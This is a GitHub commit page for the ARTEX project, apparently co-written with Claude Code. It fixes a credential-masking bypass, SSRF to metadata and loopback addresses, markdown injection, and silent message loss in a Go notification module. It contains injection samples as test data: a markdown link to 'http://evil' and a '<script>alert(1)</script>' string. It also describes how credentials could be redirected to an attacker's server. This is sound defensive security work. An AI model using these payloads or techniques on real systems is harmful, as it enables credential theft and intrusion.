mirror of
https://github.com/RuoJi6/ARTEX.git
synced 2026-10-28 01:03:50 +08:00
fix(notify): 安全审计修复 —— 掩码绕过、SSRF、静默丢失等 12 项
对推送功能做了一轮安全审计,每条都先复现、再修、再补回归测试。 以下按严重程度排列。 【严重】掩码可被「改目标地址、保留凭据」绕过 目标地址与凭据是两套独立字段,而配置合并对「未提及的键」保留原值。于是 只改地址、对凭据避而不谈,服务端就会把库里的真凭据发到任意地址。已实测 复现四个渠道:通用 Webhook 的 Authorization 头、Telegram 的 Bot Token (进请求路径)、邮件的 SMTP 密码(STARTTLS 后交给对端)、钉钉/飞书的加签 密钥(该项不可利用,一并列出仅为说明面)。完全静默、不依赖重定向,所以 上一轮加的「拒绝跨主机跳转」挡不住它。 修法:新增 Channel.DestinationKeys() 声明「消息发往哪」,PrepareConfigUpdate 在地址变化时要求对**每一个**凭据字段显式表态(给新值,或显式留空表示不再 需要)——原样回传掩码值等于「沿用旧凭据」,正是攻击形状,一并拒绝。 刻意不做「自动丢弃凭据」:对可选字段(如 headers)那会变成「鉴权静默没了 但接口返回成功」,比报错更难排查。 【中】markdown 系三渠道对不可信内容零转义 钉钉/企微/飞书此前完全不转义(Telegram 与邮件都做了),而标题与摘要来自 模型输出、资产 url 来自被测目标。一条标题里的 `[文字](http://evil)` 会在 工程师的钉钉里变成可点击外链;`` 会被客户端拉取, 泄露阅读者 IP 并暴露「这条已被看过」。现统一单行化 + markdown 元字符转义。 修的过程中还纠了自己一个设计错误:转义一度被放进 markdownTitle,而它被 markdown 正文、Telegram 的 HTML、飞书卡片、Webhook 的 JSON 与邮件主题四种 语境共用,markdown 的反斜杠泄漏到了 Telegram 消息里(用户会看到 `\(1\)`)。 转义必须发生在各自的渲染出口——测试直接抓到了这个回归。 【中】投递地址的 SSRF 面 此前只校验 scheme 与 host,云元数据 169.254.169.254、环回、内网一律可投递; 而失败响应体前 200 字节会进 last_error 并被投递历史接口回显,构成半盲读 原语。现在在**拨号阶段**设防(最终生效点,同时覆盖 DNS 重绑定与同主机 重定向)。环回/链路本地需显式 ARTEX_NOTIFY_ALLOW_LOCAL=1 才放行(本机 SMTP 中继是合法配置);RFC1918 私网**刻意放行**——内网自建 Mattermost / SMTP 很常见,做到那个程度会把正常部署一起废掉,这条取舍写进了测试断言。 【中】汇总消息被截断后整批标记已送达 = 静默丢失 渠道都有长度上限(企微 4096 字节最紧)。此前渲染完整篇再截断、然后整批 标记成功:被截掉的那些既不在消息里、也不在失败列表里,投递历史还显示 成功。现改为按**整条**打包,只标记真正装下的,其余回队续发,消息头部 如实写明还有多少条在下一条。被推迟的条目**不消耗重试次数**(领取时乐观 +1 的那次减回去),否则 500 条的积压会在第三段就把尾部判成失败。 【中】其余修复 - min_severity 打错字让过滤器静默失效(未知级别序数为 0 → rank>=0 恒真, 用户以为「仅高危」实际全推)。改为写入时校验取值。 - rate_per_min=0(不限流)不可达:文档/UI/令牌桶都按 0=不限流解释,唯独 写库那层 `if <=0 取默认值` 把它改成 20 或 100。默认值改到接口层填。 - digest 渠道完全绕过令牌桶(allow 被扣却没人用)。 - 失败处置按整批 max(attempts) 判断,让老投递连坐同批的新投递。 - 汇总批次里快照无法解析的投递被静默标记成功。 - url.Parse 失败时错误文本仍带完整地址(上一轮只修了 http.Client.Do 那侧; 且当时的用例全走 scheme 分支、没覆盖解析失败路径,是假保证)。 - 单渠道每轮投递条数可能超出租约时长(多实例下重复发送)。加了防漂移 断言,写的时候立刻发现原取值 6 恰好用满租约、零余量,已改 5。 - Telegram 截断可能切断 HTML 实体,导致整条被拒收。 - 邮件把 SMTP 4xx(灰名单等临时失败)判成永久失败,最该重试的场景从不重试。 - 提交嵌套结构时会把掩码字面量真的写进库,导致鉴权静默失效。 测试:notify 包从 82% 提到 86%,新增 SSRF 守卫、掩码绕过(用攻击形状的 输入而非「防御逻辑的正确输入」)、分段投递收敛、markdown 转义、SMTP 4xx/5xx 分类等回归用例;端到端补了一条「60 条长标题跨多轮发完且不卡死」的收敛测试。 Co-Authored-By: Claude Code <[email protected]>
This commit is contained in:
1 parent
f3fb37f70d
commit
a049f09b97
26 files changed
+1586
-229
No files matched your search
+17
-3
@@ -16,9 +16,16 @@ type Channel interface {
|
||||
// Validate 在保存配置时调用,校验必填字段与格式。返回的错误会直接展示给
|
||||
// 配置者,所以文案要说明「缺哪个字段」而不是泛泛的「配置无效」。
|
||||
Validate(cfg map[string]any) error
|
||||
// Send 投递一次消息。返回 nil 表示平台已确认接收;返回错误表示失败,
|
||||
// 其中 *PermanentError 表示不该重试(投递引擎据此跳过退避)。
|
||||
Send(ctx context.Context, cfg map[string]any, m Message) error
|
||||
// Send 投递一次消息,返回**实际送达的条目数**与错误。
|
||||
//
|
||||
// 为什么要返回条数:各平台都有消息长度上限,汇总消息装不下整批时会被截断。
|
||||
// 若调用方无条件把整批标记为已送达,被截掉的那些条目就消失了——消息里看不到、
|
||||
// 投递历史里也显示成功,没有任何地方能发现漏洞从未发出。返回 kept 后,
|
||||
// 调用方只标记前 kept 条,其余留待下一批。
|
||||
//
|
||||
// 返回错误表示投递失败,其中 *PermanentError 表示不该重试。
|
||||
// 失败时 kept 无意义,调用方应忽略它。
|
||||
Send(ctx context.Context, cfg map[string]any, m Message) (int, error)
|
||||
// DefaultRatePerMin 返回该渠道官方建议的每分钟投递上限,作为新建渠道实例
|
||||
// 时的默认限流值。返回 0 表示无已知限制。
|
||||
DefaultRatePerMin() int
|
||||
@@ -27,6 +34,13 @@ type Channel interface {
|
||||
// (企业微信的整个 Webhook 地址就是凭据,而钉钉的只是其中的 secret),
|
||||
// 所以这个知识必须由渠道提供,不能由上层猜测。
|
||||
SecretKeys() []string
|
||||
// DestinationKeys 返回该渠道配置里决定「消息发往哪里」的键名。
|
||||
//
|
||||
// 与 SecretKeys 一样是安全相关的东西:目标地址与凭据是两套独立字段,
|
||||
// 若允许「只改地址、凭据原样保留」,任何能改渠道配置的人都能把库里的真凭据
|
||||
// 发到自己控制的服务器,渠道配置的掩码就完全失去意义。
|
||||
// 详见 PrepareConfigUpdate。
|
||||
DestinationKeys() []string
|
||||
}
|
||||
|
||||
// registry 是渠道注册表。刻意用显式字面量而不是 init() 自注册:这样「有哪些渠道」
|
||||
|
||||
+14
-14
@@ -77,7 +77,7 @@ func TestDingTalkSendsActionCardWhenLinkPresent(t *testing.T) {
|
||||
t.Errorf("回链丢失: %v", card["singleURL"])
|
||||
}
|
||||
})
|
||||
if err := (dingTalkChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL}, singleMsg()); err != nil {
|
||||
if _, err := (dingTalkChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL}, singleMsg()); err != nil {
|
||||
t.Fatalf("投递失败: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -92,7 +92,7 @@ func TestDingTalkFallsBackToMarkdownForBatch(t *testing.T) {
|
||||
t.Errorf("汇总正文缺少时间窗: %v", md["text"])
|
||||
}
|
||||
})
|
||||
if err := (dingTalkChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL}, batchMsg(3)); err != nil {
|
||||
if _, err := (dingTalkChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL}, batchMsg(3)); err != nil {
|
||||
t.Fatalf("投递失败: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -101,7 +101,7 @@ func TestDingTalkFallsBackToMarkdownForBatch(t *testing.T) {
|
||||
// 不检查 errcode 会把投递失败记成成功——这是各家国内 IM 平台共有的坑。
|
||||
func TestDingTalkBusinessErrorIsPermanent(t *testing.T) {
|
||||
srv := capturePost(t, `{"errcode":310000,"errmsg":"keywords not in content"}`, nil)
|
||||
err := (dingTalkChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL}, singleMsg())
|
||||
_, err := (dingTalkChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL}, singleMsg())
|
||||
if err == nil {
|
||||
t.Fatal("errcode 非 0 应报错")
|
||||
}
|
||||
@@ -125,7 +125,7 @@ func TestWeComTruncatesCJKWithinByteLimit(t *testing.T) {
|
||||
})
|
||||
// 造一批足够长的中文汇总,必然超过 4096 字节。
|
||||
m := batchMsg(200)
|
||||
if err := (weComChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL}, m); err != nil {
|
||||
if _, err := (weComChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL}, m); err != nil {
|
||||
t.Fatalf("投递失败: %v", err)
|
||||
}
|
||||
if contentLen > weComMarkdownLimit {
|
||||
@@ -138,13 +138,13 @@ func TestWeComTruncatesCJKWithinByteLimit(t *testing.T) {
|
||||
|
||||
func TestWeComRateLimitIsRetryableButKeyErrorIsPermanent(t *testing.T) {
|
||||
limited := capturePost(t, `{"errcode":45009,"errmsg":"api freq out of limit"}`, nil)
|
||||
err := (weComChannel{}).Send(context.Background(), map[string]any{"webhook": limited.URL}, singleMsg())
|
||||
_, err := (weComChannel{}).Send(context.Background(), map[string]any{"webhook": limited.URL}, singleMsg())
|
||||
if err == nil || IsPermanent(err) {
|
||||
t.Fatalf("45009 是滚动窗口限流,应可重试,得到 %v", err)
|
||||
}
|
||||
|
||||
badKey := capturePost(t, `{"errcode":93000,"errmsg":"invalid webhook url"}`, nil)
|
||||
err = (weComChannel{}).Send(context.Background(), map[string]any{"webhook": badKey.URL}, singleMsg())
|
||||
_, err = (weComChannel{}).Send(context.Background(), map[string]any{"webhook": badKey.URL}, singleMsg())
|
||||
if err == nil || !IsPermanent(err) {
|
||||
t.Fatalf("93000 是 key 无效,重试不会自愈,应为永久失败,得到 %v", err)
|
||||
}
|
||||
@@ -186,7 +186,7 @@ func TestFeishuCardStructureAndSign(t *testing.T) {
|
||||
}
|
||||
})
|
||||
cfg := map[string]any{"webhook": srv.URL, "secret": secret}
|
||||
if err := (feishuChannel{}).Send(context.Background(), cfg, singleMsg()); err != nil {
|
||||
if _, err := (feishuChannel{}).Send(context.Background(), cfg, singleMsg()); err != nil {
|
||||
t.Fatalf("投递失败: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -197,7 +197,7 @@ func TestFeishuWithoutSecretOmitsSign(t *testing.T) {
|
||||
t.Fatalf("未配置 secret 时不应带加签参数: %v", body)
|
||||
}
|
||||
})
|
||||
if err := (feishuChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL}, singleMsg()); err != nil {
|
||||
if _, err := (feishuChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL}, singleMsg()); err != nil {
|
||||
t.Fatalf("投递失败: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -216,7 +216,7 @@ func TestTelegramEscapesHTMLInUntrustedContent(t *testing.T) {
|
||||
Name: `<script>alert(1)</script>`,
|
||||
Summary: "a & b < c",
|
||||
}}}
|
||||
if err := (telegramChannel{}).Send(context.Background(),
|
||||
if _, err := (telegramChannel{}).Send(context.Background(),
|
||||
map[string]any{"bot_token": "tok", "chat_id": "1", "base_url": srv.URL}, m); err != nil {
|
||||
t.Fatalf("投递失败: %v", err)
|
||||
}
|
||||
@@ -233,14 +233,14 @@ func TestTelegramEscapesHTMLInUntrustedContent(t *testing.T) {
|
||||
|
||||
func TestTelegramErrorClassification(t *testing.T) {
|
||||
rateLimited := capturePost(t, `{"ok":false,"error_code":429,"description":"Too Many Requests"}`, nil)
|
||||
err := (telegramChannel{}).Send(context.Background(),
|
||||
_, err := (telegramChannel{}).Send(context.Background(),
|
||||
map[string]any{"bot_token": "tok", "chat_id": "1", "base_url": rateLimited.URL}, singleMsg())
|
||||
if err == nil || IsPermanent(err) {
|
||||
t.Fatalf("429 应可重试,得到 %v", err)
|
||||
}
|
||||
|
||||
forbidden := capturePost(t, `{"ok":false,"error_code":403,"description":"bot was blocked by the user"}`, nil)
|
||||
err = (telegramChannel{}).Send(context.Background(),
|
||||
_, err = (telegramChannel{}).Send(context.Background(),
|
||||
map[string]any{"bot_token": "tok", "chat_id": "1", "base_url": forbidden.URL}, singleMsg())
|
||||
if err == nil || !IsPermanent(err) {
|
||||
t.Fatalf("403 是配置问题,应为永久失败,得到 %v", err)
|
||||
@@ -267,7 +267,7 @@ func TestWebhookDefaultTemplateProducesValidJSON(t *testing.T) {
|
||||
t.Errorf("finding_id 应为数字,得到 %T", it["finding_id"])
|
||||
}
|
||||
})
|
||||
if err := (webhookChannel{}).Send(context.Background(), map[string]any{"url": srv.URL}, singleMsg()); err != nil {
|
||||
if _, err := (webhookChannel{}).Send(context.Background(), map[string]any{"url": srv.URL}, singleMsg()); err != nil {
|
||||
t.Fatalf("投递失败: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -289,14 +289,14 @@ func TestWebhookCustomTemplateAndHeaders(t *testing.T) {
|
||||
"headers": map[string]any{"X-Token": "s3cret"},
|
||||
"body_template": `{"msg": {{json (printf "%d 条" .Count)}}, "first": {{json (index .Items 0).Name}}}`,
|
||||
}
|
||||
if err := (webhookChannel{}).Send(context.Background(), cfg, batchMsg(3)); err != nil {
|
||||
if _, err := (webhookChannel{}).Send(context.Background(), cfg, batchMsg(3)); err != nil {
|
||||
t.Fatalf("投递失败: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebhookRejectsNonJSONRenderResult(t *testing.T) {
|
||||
cfg := map[string]any{"url": "https://example.com/hook", "body_template": `not json at all`}
|
||||
err := (webhookChannel{}).Send(context.Background(), cfg, singleMsg())
|
||||
_, err := (webhookChannel{}).Send(context.Background(), cfg, singleMsg())
|
||||
if err == nil || !IsPermanent(err) {
|
||||
t.Fatalf("渲染结果非 JSON 应为永久失败(模板写错了,重试无用),得到 %v", err)
|
||||
}
|
||||
|
||||
+32
-12
@@ -8,6 +8,7 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"time"
|
||||
@@ -31,6 +32,9 @@ func (dingTalkChannel) DefaultRatePerMin() int { return 20 }
|
||||
// 钉钉的 Webhook 地址里带 access_token,本身就是凭据,因此整体掩码。
|
||||
func (dingTalkChannel) SecretKeys() []string { return []string{"webhook", "secret"} }
|
||||
|
||||
// 目标是钉钉的 Webhook 地址本身;改地址必须同时对新地址重新表态加签密钥。
|
||||
func (dingTalkChannel) DestinationKeys() []string { return []string{"webhook"} }
|
||||
|
||||
func (dingTalkChannel) Validate(cfg map[string]any) error {
|
||||
hook := cfgString(cfg, "webhook")
|
||||
if hook == "" {
|
||||
@@ -43,19 +47,19 @@ func (dingTalkChannel) Validate(cfg map[string]any) error {
|
||||
}
|
||||
|
||||
// Send 投递一次消息。有回链且是单条时用 ActionCard(带按钮),否则用 markdown。
|
||||
func (c dingTalkChannel) Send(ctx context.Context, cfg map[string]any, m Message) error {
|
||||
func (c dingTalkChannel) Send(ctx context.Context, cfg map[string]any, m Message) (int, error) {
|
||||
hook := cfgString(cfg, "webhook")
|
||||
if err := c.Validate(cfg); err != nil {
|
||||
return Permanent(err)
|
||||
return 0, Permanent(err)
|
||||
}
|
||||
endpoint, err := dingTalkSignedURL(hook, cfgString(cfg, "secret"), time.Now())
|
||||
if err != nil {
|
||||
return Permanent(err)
|
||||
return 0, Permanent(err)
|
||||
}
|
||||
|
||||
title := markdownTitle(m)
|
||||
// 钉钉 markdown 正文无明确字节上限,但仍做上限保护,避免证据字段异常膨胀。
|
||||
text := markdownBody(m, 20000)
|
||||
text, kept := markdownBody(m, 20000)
|
||||
|
||||
var payload any
|
||||
if !m.Batch && len(m.Items) == 1 && m.Items[0].DetailURL != "" {
|
||||
@@ -78,7 +82,7 @@ func (c dingTalkChannel) Send(ctx context.Context, cfg map[string]any, m Message
|
||||
|
||||
raw, err := doJSON(ctx, "POST", endpoint, nil, payload)
|
||||
if err != nil {
|
||||
return err
|
||||
return 0, err
|
||||
}
|
||||
// 钉钉把业务错误藏在 200 响应里。
|
||||
var res struct {
|
||||
@@ -86,14 +90,14 @@ func (c dingTalkChannel) Send(ctx context.Context, cfg map[string]any, m Message
|
||||
ErrMsg string `json:"errmsg"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &res); err != nil {
|
||||
return fmt.Errorf("解析钉钉响应失败: %w (%s)", err, snippet(raw))
|
||||
return 0, fmt.Errorf("解析钉钉响应失败: %w (%s)", err, snippet(raw))
|
||||
}
|
||||
if res.ErrCode != 0 {
|
||||
// 301000 是签名校验失败、310000 是关键词不匹配——都是配置错误,
|
||||
// 重试不会自愈。
|
||||
return Permanent(fmt.Errorf("钉钉返回错误 %d: %s", res.ErrCode, res.ErrMsg))
|
||||
return 0, Permanent(fmt.Errorf("钉钉返回错误 %d: %s", res.ErrCode, res.ErrMsg))
|
||||
}
|
||||
return nil
|
||||
return kept, nil
|
||||
}
|
||||
|
||||
// dingTalkSignedURL 按官方加签规则给 webhook 追加 timestamp 与 sign 参数。
|
||||
@@ -122,13 +126,26 @@ func dingTalkSignedURL(hook, secret string, now time.Time) (string, error) {
|
||||
return u.String(), nil
|
||||
}
|
||||
|
||||
// validateHTTPURL 校验地址可用且协议受支持。
|
||||
// 限制协议是防御性的:file:// 之类会让 http.Client 产生意料之外的行为,
|
||||
// 虽然 webhook 地址由管理员配置、不是攻击者可控,但没有理由放开这个面。
|
||||
// validateHTTPURL 校验地址可用、协议受支持,并对字面 IP 目标做内网判断。
|
||||
//
|
||||
// 两点讲究:
|
||||
//
|
||||
// 1. **错误信息必须脱敏**。url.Parse 自己返回的是 *url.Error,它的 Error() 带
|
||||
// **完整原始地址**,而本功能这几家的地址里就嵌着凭据(钉钉 access_token、
|
||||
// 企微 key、Telegram 的 bot token、飞书 hook id)。曾经这里直接 `return err`,
|
||||
// 于是「地址格式非法」这条错误就把凭据带了出去,流向测试接口的 400 响应、
|
||||
// 每次投递落库的 last_error、服务端日志与投递历史接口。
|
||||
//
|
||||
// 2. **字面 IP 直接判内网**,域名留给拨号阶段判(blockInternalDial 才是最终
|
||||
// 生效点,也能覆盖 DNS 重绑定)。这里做一次是为了让保存配置时就能得到提示,
|
||||
// 而不是等到第一次投递失败。
|
||||
//
|
||||
// 限制协议是防御性的:file:///gopher:// 之类会让 http.Client 产生意料之外的
|
||||
// 行为(虽已被 scheme 检查挡下,但没有理由放开这个面)。
|
||||
func validateHTTPURL(raw string) error {
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil {
|
||||
return err
|
||||
return fmt.Errorf("地址无法解析(%s)", redactRequestTarget(raw))
|
||||
}
|
||||
if u.Scheme != "http" && u.Scheme != "https" {
|
||||
return fmt.Errorf("只支持 http/https,收到 %q", u.Scheme)
|
||||
@@ -136,5 +153,8 @@ func validateHTTPURL(raw string) error {
|
||||
if u.Host == "" {
|
||||
return errors.New("缺少主机名")
|
||||
}
|
||||
if ip := net.ParseIP(u.Hostname()); ip != nil && isBlockedDialIP(ip) && !allowLocalTargets() {
|
||||
return fmt.Errorf("拒绝投递到本机/链路本地地址 %s(如确需投递到本机服务,设置 %s=1)", ip, AllowLocalTargetsEnv)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+18
-13
@@ -34,6 +34,10 @@ func (emailChannel) DefaultRatePerMin() int { return 60 }
|
||||
// 只掩码密码。SMTP 主机、账号、收件人都不算秘密,掩码它们只会让编辑变麻烦。
|
||||
func (emailChannel) SecretKeys() []string { return []string{"password"} }
|
||||
|
||||
// host/port 决定把密码交给哪台服务器;tls 决定是否加密传输。三者任一变化都
|
||||
// 要求重新表态密码——顺带让「关掉 TLS」这一步必须显式带上凭据,而不是顺手一改。
|
||||
func (emailChannel) DestinationKeys() []string { return []string{"host", "port", "tls"} }
|
||||
|
||||
func (emailChannel) Validate(cfg map[string]any) error {
|
||||
if cfgString(cfg, "host") == "" {
|
||||
return errors.New("缺少 SMTP 服务器地址")
|
||||
@@ -51,9 +55,9 @@ func (emailChannel) Validate(cfg map[string]any) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c emailChannel) Send(ctx context.Context, cfg map[string]any, m Message) error {
|
||||
func (c emailChannel) Send(ctx context.Context, cfg map[string]any, m Message) (int, error) {
|
||||
if err := c.Validate(cfg); err != nil {
|
||||
return Permanent(err)
|
||||
return 0, Permanent(err)
|
||||
}
|
||||
host := cfgString(cfg, "host")
|
||||
port := cfgInt(cfg, "port")
|
||||
@@ -65,13 +69,13 @@ func (c emailChannel) Send(ctx context.Context, cfg map[string]any, m Message) e
|
||||
|
||||
msg, err := buildEmailMessage(from, to, m)
|
||||
if err != nil {
|
||||
return Permanent(err)
|
||||
return 0, Permanent(err)
|
||||
}
|
||||
|
||||
addr := net.JoinHostPort(host, strconv.Itoa(port))
|
||||
client, err := emailDial(ctx, addr, host, implicitTLS)
|
||||
if err != nil {
|
||||
return err
|
||||
return 0, err
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
@@ -79,7 +83,7 @@ func (c emailChannel) Send(ctx context.Context, cfg map[string]any, m Message) e
|
||||
if !implicitTLS {
|
||||
if ok, _ := client.Extension("STARTTLS"); ok {
|
||||
if err := client.StartTLS(&tls.Config{ServerName: host, MinVersion: tls.VersionTLS12}); err != nil {
|
||||
return fmt.Errorf("STARTTLS 失败: %w", err)
|
||||
return 0, fmt.Errorf("STARTTLS 失败: %w", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -89,32 +93,33 @@ func (c emailChannel) Send(ctx context.Context, cfg map[string]any, m Message) e
|
||||
// 这是**正确**的安全行为,不能绕过,但需要把原因翻译清楚——
|
||||
// 否则使用者只会看到「unencrypted connection」而不知道该怎么办。
|
||||
if strings.Contains(err.Error(), "unencrypted connection") {
|
||||
return Permanent(fmt.Errorf("拒发凭据:连接未加密。请启用 TLS,或改用 465 端口(隐式 TLS),或把「启用 TLS」勾上 (%w)", err))
|
||||
return 0, Permanent(fmt.Errorf("拒发凭据:连接未加密。请启用 TLS,或改用 465 端口(隐式 TLS),或把「启用 TLS」勾上 (%w)", err))
|
||||
}
|
||||
return Permanent(fmt.Errorf("SMTP 认证失败: %w", err))
|
||||
return 0, Permanent(fmt.Errorf("SMTP 认证失败: %w", err))
|
||||
}
|
||||
}
|
||||
if err := client.Mail(from); err != nil {
|
||||
return smtpStageError(fmt.Sprintf("发件人 %s 被拒", from), err)
|
||||
return 0, smtpStageError(fmt.Sprintf("发件人 %s 被拒", from), err)
|
||||
}
|
||||
for _, rcpt := range to {
|
||||
if err := client.Rcpt(rcpt); err != nil {
|
||||
return smtpStageError(fmt.Sprintf("收件人 %s 被拒", rcpt), err)
|
||||
return 0, smtpStageError(fmt.Sprintf("收件人 %s 被拒", rcpt), err)
|
||||
}
|
||||
}
|
||||
w, err := client.Data()
|
||||
if err != nil {
|
||||
return fmt.Errorf("SMTP DATA 失败: %w", err)
|
||||
return 0, fmt.Errorf("SMTP DATA 失败: %w", err)
|
||||
}
|
||||
if _, err := w.Write([]byte(msg)); err != nil {
|
||||
return fmt.Errorf("写入邮件正文失败: %w", err)
|
||||
return 0, fmt.Errorf("写入邮件正文失败: %w", err)
|
||||
}
|
||||
if err := w.Close(); err != nil {
|
||||
return fmt.Errorf("提交邮件失败: %w", err)
|
||||
return 0, fmt.Errorf("提交邮件失败: %w", err)
|
||||
}
|
||||
// Quit 失败不影响「邮件已被服务器接收」这个事实,因此忽略其错误。
|
||||
_ = client.Quit()
|
||||
return nil
|
||||
// 邮件没有长度截断(HTML 正文全部发送),整批都算送达。
|
||||
return len(m.Items), nil
|
||||
}
|
||||
|
||||
// emailDial 建立 SMTP 连接。
|
||||
|
||||
@@ -156,7 +156,7 @@ func TestEmailSendDeliversFullMessage(t *testing.T) {
|
||||
f.advertiseAuth = true
|
||||
cfg := emailCfg(t, f, map[string]any{"username": "artex", "password": "pw"})
|
||||
|
||||
if err := (emailChannel{}).Send(context.Background(), cfg, singleMsg()); err != nil {
|
||||
if _, err := (emailChannel{}).Send(context.Background(), cfg, singleMsg()); err != nil {
|
||||
t.Fatalf("投递失败: %v", err)
|
||||
}
|
||||
// 信封阶段必须走到:发件人、两个收件人、DATA。
|
||||
@@ -186,7 +186,7 @@ func TestEmailSendWithoutAuth(t *testing.T) {
|
||||
// 未配账号时不应发 AUTH —— 有些中继会因此拒收。
|
||||
f := newFakeSMTP(t)
|
||||
cfg := emailCfg(t, f, nil)
|
||||
if err := (emailChannel{}).Send(context.Background(), cfg, singleMsg()); err != nil {
|
||||
if _, err := (emailChannel{}).Send(context.Background(), cfg, singleMsg()); err != nil {
|
||||
t.Fatalf("投递失败: %v", err)
|
||||
}
|
||||
if f.sawCommand("AUTH") {
|
||||
@@ -214,7 +214,7 @@ func TestEmailSendClassifiesSMTPReplies(t *testing.T) {
|
||||
f := newFakeSMTP(t)
|
||||
f.rcptReply = tc.rcptReply
|
||||
f.mailReply = tc.mailReply
|
||||
err := (emailChannel{}).Send(context.Background(), emailCfg(t, f, nil), singleMsg())
|
||||
_, err := (emailChannel{}).Send(context.Background(), emailCfg(t, f, nil), singleMsg())
|
||||
if err == nil {
|
||||
t.Fatal("应报错")
|
||||
}
|
||||
@@ -244,7 +244,7 @@ func TestEmailSendRefusesPlaintextCredentials(t *testing.T) {
|
||||
"username": "artex",
|
||||
"password": "pw",
|
||||
}
|
||||
err := (emailChannel{}).Send(context.Background(), cfg, singleMsg())
|
||||
_, err := (emailChannel{}).Send(context.Background(), cfg, singleMsg())
|
||||
if err == nil {
|
||||
t.Skip("本机 DNS 解析到了本地服务器,跳过(不影响其它用例)")
|
||||
}
|
||||
|
||||
+45
-21
@@ -28,6 +28,9 @@ func (feishuChannel) DefaultRatePerMin() int { return 100 }
|
||||
// Webhook 地址末段即机器人唯一标识,属凭据。
|
||||
func (feishuChannel) SecretKeys() []string { return []string{"webhook", "secret"} }
|
||||
|
||||
// 同理:改 Webhook 地址必须对新地址重新表态签名密钥。
|
||||
func (feishuChannel) DestinationKeys() []string { return []string{"webhook"} }
|
||||
|
||||
func (feishuChannel) Validate(cfg map[string]any) error {
|
||||
hook := cfgString(cfg, "webhook")
|
||||
if hook == "" {
|
||||
@@ -39,13 +42,14 @@ func (feishuChannel) Validate(cfg map[string]any) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c feishuChannel) Send(ctx context.Context, cfg map[string]any, m Message) error {
|
||||
func (c feishuChannel) Send(ctx context.Context, cfg map[string]any, m Message) (int, error) {
|
||||
if err := c.Validate(cfg); err != nil {
|
||||
return Permanent(err)
|
||||
return 0, Permanent(err)
|
||||
}
|
||||
card, kept := feishuCard(m)
|
||||
payload := map[string]any{
|
||||
"msg_type": "interactive",
|
||||
"card": feishuCard(m),
|
||||
"card": card,
|
||||
}
|
||||
// 加签参数与消息同层,且只在配置了 secret 时出现。
|
||||
if secret := cfgString(cfg, "secret"); secret != "" {
|
||||
@@ -55,7 +59,7 @@ func (c feishuChannel) Send(ctx context.Context, cfg map[string]any, m Message)
|
||||
}
|
||||
raw, err := doJSON(ctx, "POST", cfgString(cfg, "webhook"), nil, payload)
|
||||
if err != nil {
|
||||
return err
|
||||
return 0, err
|
||||
}
|
||||
var res struct {
|
||||
Code int `json:"code"`
|
||||
@@ -65,15 +69,15 @@ func (c feishuChannel) Send(ctx context.Context, cfg map[string]any, m Message)
|
||||
StatusMessage string `json:"StatusMessage"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &res); err != nil {
|
||||
return fmt.Errorf("解析飞书响应失败: %w (%s)", err, snippet(raw))
|
||||
return 0, fmt.Errorf("解析飞书响应失败: %w (%s)", err, snippet(raw))
|
||||
}
|
||||
if res.Code != 0 {
|
||||
return Permanent(fmt.Errorf("飞书返回错误 %d: %s", res.Code, res.Msg))
|
||||
return 0, Permanent(fmt.Errorf("飞书返回错误 %d: %s", res.Code, res.Msg))
|
||||
}
|
||||
if res.StatusCode != 0 {
|
||||
return Permanent(fmt.Errorf("飞书返回错误 %d: %s", res.StatusCode, res.StatusMessage))
|
||||
return 0, Permanent(fmt.Errorf("飞书返回错误 %d: %s", res.StatusCode, res.StatusMessage))
|
||||
}
|
||||
return nil
|
||||
return kept, nil
|
||||
}
|
||||
|
||||
// feishuSign 按飞书官方规则计算签名。
|
||||
@@ -108,18 +112,31 @@ func feishuSeverityTemplate(severity string) string {
|
||||
}
|
||||
}
|
||||
|
||||
// feishuCard 构造交互式卡片。
|
||||
func feishuCard(m Message) map[string]any {
|
||||
// feishuMaxCardBytes 是卡片内容的保守上限。飞书对卡片有体积限制,超了整条被拒;
|
||||
// 取一个明显低于官方上限的值,把 JSON 包装开销也算进来。
|
||||
const feishuMaxCardBytes = 24000
|
||||
|
||||
// feishuCard 构造交互式卡片,返回卡片与**实际写入的条目数**。
|
||||
// kept 的用途同 markdownBody:只有真正进了卡片的条目才该被标记为已送达。
|
||||
func feishuCard(m Message) (map[string]any, int) {
|
||||
elements := []any{}
|
||||
kept := 0
|
||||
if m.Batch {
|
||||
elements = append(elements, feishuMarkdownDiv(markdownBatchIntro(m)))
|
||||
for i, it := range m.Items {
|
||||
// 先按整条打包再拼头部:头部要写「其余 N 条将在下一条消息继续」,
|
||||
// N 必须来自实际装下的条数。
|
||||
kept = packItemCount(m.Items, feishuMaxCardBytes, markdownReservedBytes, "", byteSize, func(it Item, idx int) string {
|
||||
return feishuBatchLine(it, idx+1)
|
||||
})
|
||||
items := m.Items[:kept]
|
||||
elements = append(elements, feishuMarkdownDiv(markdownBatchIntro(m, items, len(m.Items))))
|
||||
for i, it := range items {
|
||||
elements = append(elements, feishuMarkdownDiv(feishuBatchLine(it, i+1)))
|
||||
}
|
||||
if m.HomeURL != "" {
|
||||
elements = append(elements, feishuButton("在平台中查看全部", m.HomeURL))
|
||||
}
|
||||
} else if len(m.Items) > 0 {
|
||||
kept = 1
|
||||
it := m.Items[0]
|
||||
